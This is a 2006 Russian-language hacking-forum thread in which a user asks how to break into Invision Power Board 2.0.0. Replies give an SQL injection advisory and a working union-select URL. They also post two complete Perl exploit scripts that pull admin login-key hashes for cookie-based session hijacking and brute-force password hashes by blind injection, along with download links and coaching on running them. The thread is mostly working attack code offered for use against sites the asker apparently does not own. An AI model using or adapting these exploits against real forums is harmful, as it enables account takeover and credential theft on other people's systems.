ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Invision Power Board(Trial) v2.0.0 - возможно взломать?
  #1  
Старый 22.10.2006, 22:36
Аватар для BlackDog
BlackDog
Познающий
Регистрация: 05.07.2006
Сообщений: 93
Провел на форуме:
260548

Репутация: 18
Отправить сообщение для BlackDog с помощью ICQ
По умолчанию Invision Power Board(Trial) v2.0.0 - возможно взломать?

Привет всем.
Никто не знает как ломается Invision Power Board(Trial) v2.0.0? Если есть тема/объяснение дайте плиз! Спасибо заранее!
 
Ответить с цитированием

  #2  
Старый 22.10.2006, 22:49
Аватар для Koller
Koller
Постоянный
Регистрация: 25.07.2005
Сообщений: 471
Провел на форуме:
3465924

Репутация: 931
По умолчанию

Цитата:
Дата выхода: 2004-11-18
Уровень опасности: критический
Влияние:SQL-inj
Уязвимое ПО:
IPB 2.0.0, IPB 2.0.1 and IPB 2.0.2.

Описание:
Сообщается об уязвимости в Invision Power Board v2.x.Удаленный пользователь может провести SQL injection атаку.
Пример:
http://site/forum/index.php?act=Post&CODE=02&f=2&t=1&qpid=1[sql_injection]
Результат:
--------------------------------------------------------------------------
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id)
WHERE pid IN (1[sql_injection])

mySQL error: You have an error in your SQL syntax near '[sql_injection])' at line 2
--------------------------------------------------------------------------
Попробуй...может и на trial версии пройдет...

Последний раз редактировалось Koller; 22.10.2006 в 23:32..
 
Ответить с цитированием

  #3  
Старый 22.10.2006, 22:52
Аватар для _-[A.M.D]HiM@S-_
_-[A.M.D]HiM@S-_
Green member
Регистрация: 28.12.2005
Сообщений: 376
Провел на форуме:
5559831

Репутация: 1833
По умолчанию

Там можно инклуд Rst шела зделать
 
Ответить с цитированием

  #4  
Старый 22.10.2006, 22:52
Аватар для Dracula4ever
Dracula4ever
Постоянный
Регистрация: 08.05.2006
Сообщений: 559
Провел на форуме:
1593567

Репутация: 354


Отправить сообщение для Dracula4ever с помощью ICQ Отправить сообщение для Dracula4ever с помощью AIM Отправить сообщение для Dracula4ever с помощью Yahoo
По умолчанию

на этот вмд форума есть прикольный сплойт который написал 1dt.w0lf

Сплойт:
PHP код:
#!/usr/bin/perl
use IO::Socket;

## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
##
------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX:
## [>] ID:
##
------------------------------------------------------------------------------------------------
## 
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
## 
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
##
------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:
##
------------------------------------------------------------------------------------------------
## 
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
## 
## --[ REPORT
]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH:
[73dea61281aa9b08ed31b4ae2bb9954e]
##
------------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id
values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Пару слов о возвращаемом эксплоитом результате:
## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное
значение
## из кукиса с помощью которого можно войти на форум под любым юзером без
## ввода пароля. member_id это также одноименное значение из кукиса.
Поэтому не
## стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на
форуме и 
## измените pass_hash и member_id в вашем cookie на одно из значений
## которые выдаст сплоит.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


if (@ARGV 5)
{
print
"-------------------------------------------------------------------------\r\n";
print 
" Invision Power Board v2.0.0 - 2.0.2 sql injection
exploit\r\n"
;
print
"-------------------------------------------------------------------------\r\n";
print 
"usage:\r\n";
print 
"r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX]
[USER_ID]\r\n\r\n"
;
print 
"SERVER - server where IPB installed\r\n";
print 
"/DIR/ - IPB directory or / for no directory\r\n";
print 
"FORUM_NUM - number of existing forum\r\n";
print 
"TOPIC_NUM - number of existing topic\r\n";
print 
"SID - your session id\r\n";
print 
"[TABLE_PREFIX] - table prefix in database\r\n";
print 
"[USER_ID] - user id for exploiting\r\n\r\n"
print 
"e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1
4496b6d35c1bc0662d721c207f81784e ibf_\r\n"
;
print
"-------------------------------------------------------------------------\r\n";
exit();
}

if (@
ARGV 6) { $get_table 1; }

$server $ARGV[0];
$dir $ARGV[1];
$fnum $ARGV[2];
$tnum $ARGV[3];
$sid $ARGV[4];
$prefix $ARGV[5];
$id $ARGV[6];

print
"-----------------------------------------------------------------------------------------------\r\n";
print 
"[>] SERVER: $server\r\n";
print 
"[>] DIR: $dir\r\n";
print 
"[>] FORUM: $fnum\r\n";
print 
"[>] TOPIC: $tnum\r\n";
print 
"[>] SID: $sid\r\n";
print 
"[>] PREFIX: $prefix\r\n";
print 
"[>] ID: $id\r\n";
print
"-------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if (
$get_table == 1
 {
 
$path .= "&qpid=r57"
 
}
else
 {
$path .=
"&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),
name,char(58),
member_login_key),1,1,1,1,1,1,1,1,1%20from%20"
;
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
$path .= "/*";
 }
print 
"[~] PREPARE TO CONNECT...\r\n";

$socket IO::Socket::INET->newProto => "tcp"PeerAddr
=> "$server"
PeerPort => "80") || die "[-]
 CONNECTION FAILED"
;

print 
"[+] CONNECTED\r\n";
print 
"[~] SENDING QUERY...\r\n";
print 
$socket "GET $path HTTP/1.1\r\n";
print 
$socket "Host: $server\r\n"
print 
$socket "Accept: */*\r\n";
print 
$socket "Connection: close\r\n\r\n";
print 
"[+] DONE!\r\n\r\n";

$suc =0;

if (
$get_table == 1)
 {
 while (
$answer = <$socket>)
 {
 if (
$answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print
"PREFIX: $4\r\n"
$suc 1; }
 }
 if (!
$suc) { print "Exploit failed\r\n"; }
 exit();
 }

print 
"--[ REPORT
]---------------------------------------------------------------------------------\r\n"
;
while (
$answer = <$socket>)
{
 if (
$answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print
"MEMBER_ID: [$1] NAME: [$2] 
PASS_HASH: [$3]\r\n"
$suc 1; }
}
print
"------------------------------------------------------------------------------------------------\r\n";
if (
$suc == 1) { print "Now you need edit cookie and insert new
pass_hash and 
member_id values.\r\n"

exit(); }
else { print 
"Exploit failed\r\n"; }securitydot.net 2004-11-22 
 
Ответить с цитированием

  #5  
Старый 22.10.2006, 23:24
Аватар для BlackDog
BlackDog
Познающий
Регистрация: 05.07.2006
Сообщений: 93
Провел на форуме:
260548

Репутация: 18
Отправить сообщение для BlackDog с помощью ICQ
По умолчанию

Koller, не работает, но спасибо.

_-[A.M.D]HiM@S-_, как?

dracula4ever, а как пользоваться "этим"?
 
Ответить с цитированием

  #6  
Старый 23.10.2006, 01:12
Аватар для злюка
злюка
Постоянный
Регистрация: 11.11.2005
Сообщений: 317
Провел на форуме:
2848854

Репутация: 409
Отправить сообщение для злюка с помощью ICQ
По умолчанию

Цитата:
http://www.site.com/index.php?&act=Post&CODE=02&f=2&t=804&qpid=6666666 66)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT( id,char(58),name,char(58),member_login_key),1,1,1, 1,1,1,1,1,1%20from%20ibf_members%20WHERE%20id=1%20/*
вот это у меня работало..только сломать то особо с этим не получится...лучше вариант поюзать сплоит который еще и соль дерёт
 
Ответить с цитированием

  #7  
Старый 23.10.2006, 03:16
Аватар для _-[A.M.D]HiM@S-_
_-[A.M.D]HiM@S-_
Green member
Регистрация: 28.12.2005
Сообщений: 376
Провел на форуме:
5559831

Репутация: 1833
По умолчанию

Цитата:
Сообщение от BlackDog  
Koller, не работает, но спасибо.

_-[A.M.D]HiM@S-_, как?

dracula4ever, а как пользоваться "этим"?
подправь сплойт немного и юзай :

Инклюд можно зделать как в в версии 2.1.5
через кодировку Чарсет,поищи тебе много тем выдаст .

пробуй :

http://milw0rm.com/id.php?id=648
http://rst.void.ru/download/r57ipb2.txt
 
Ответить с цитированием

(
  #8  
Старый 23.10.2006, 13:29
Аватар для BlackDog
BlackDog
Познающий
Регистрация: 05.07.2006
Сообщений: 93
Провел на форуме:
260548

Репутация: 18
Отправить сообщение для BlackDog с помощью ICQ
Unhappy (

Я не умею пользоваться сплоитами!!!

Вот вы сказали это использовать:
#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key')'password');

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*')' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : ')'PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr(42);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74% 72%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh);

while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}



Но как этим пользоваться? Что вообще с этим делать? Как это может сломать Invision Power Board(Trial) v2.0.0?!

Последний раз редактировалось BlackDog; 23.10.2006 в 13:31..
 
Ответить с цитированием

  #9  
Старый 23.10.2006, 13:33
Аватар для _-[A.M.D]HiM@S-_
_-[A.M.D]HiM@S-_
Green member
Регистрация: 28.12.2005
Сообщений: 376
Провел на форуме:
5559831

Репутация: 1833
По умолчанию

Что бы использовать данный сплойт скачай для начала Perl

_http://www.softok.org/ob/webm/1769dload.html

Последний раз редактировалось _-[A.M.D]HiM@S-_; 23.10.2006 в 13:37..
 
Ответить с цитированием

  #10  
Старый 23.10.2006, 13:41
Аватар для BlackDog
BlackDog
Познающий
Регистрация: 05.07.2006
Сообщений: 93
Провел на форуме:
260548

Репутация: 18
Отправить сообщение для BlackDog с помощью ICQ
По умолчанию

Сделаю... Отпишусь что да как.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Убираем "звонилки" из Invision Power Board v2.1.5 Dimazzz Чужие Статьи 1 15.09.2006 02:16
Уязвимости Invision Power Board v2.1.4 ? Dmitriy507 Форумы 8 23.06.2006 07:05
Уязвимость Invision Power Board 2.1.5 Go0o$E Форумы 106 05.05.2006 21:35
XSS в Powered by Invision Power Board(Trial) © 2005 IPS, Inc. SPEC Форумы 1 20.04.2005 19:12



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ